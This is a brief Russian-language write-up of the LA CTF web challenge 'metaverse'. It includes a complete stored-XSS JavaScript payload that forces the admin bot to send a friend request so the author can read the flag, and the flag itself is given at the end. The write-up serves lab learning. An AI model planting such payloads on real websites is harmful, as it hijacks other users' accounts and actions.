В lactf я смог решить задачу веб/метавселенной.

Ниже приведен исходный код, предоставленный здесь

Из исходного кода видно, что флаг — это отображаемое имя администратора.

И мы можем видеть только если админ добавит нас в друзья

Мы можем опубликовать, используя раздел ниже

Если я попытаюсь добавить JavaScript в сообщение, оно будет выполнено

Как мы видим, мы можем добавить кого-то в друзья, сделав запрос на публикацию.

в /friend с нашим именем пользователя

поэтому мы создаем сообщение с приведенной ниже полезной нагрузкой js

fetch("/friend",{method:"POST",body:"username="+encodeURIComponent("darkcheftar"),headers:{"Content-Type":"application/x-www-form-urlencoded"}}).then(e=>e.text().then(t=>{if(200!==e.status){document.querySelector(".error")?.remove();let r=document.createElement("p");r.innerText=t,r.classList.add("error"),document.body.insertAdjacentElement("afterbegin",r)}else location.reload()}))

поделившись ссылкой на админ-бота он добавляет нас в друзья.

теперь мы можем видеть флаг

Наконец, флаг:

лактф {пожалуйста_метагет_мне_вне_из_здесь}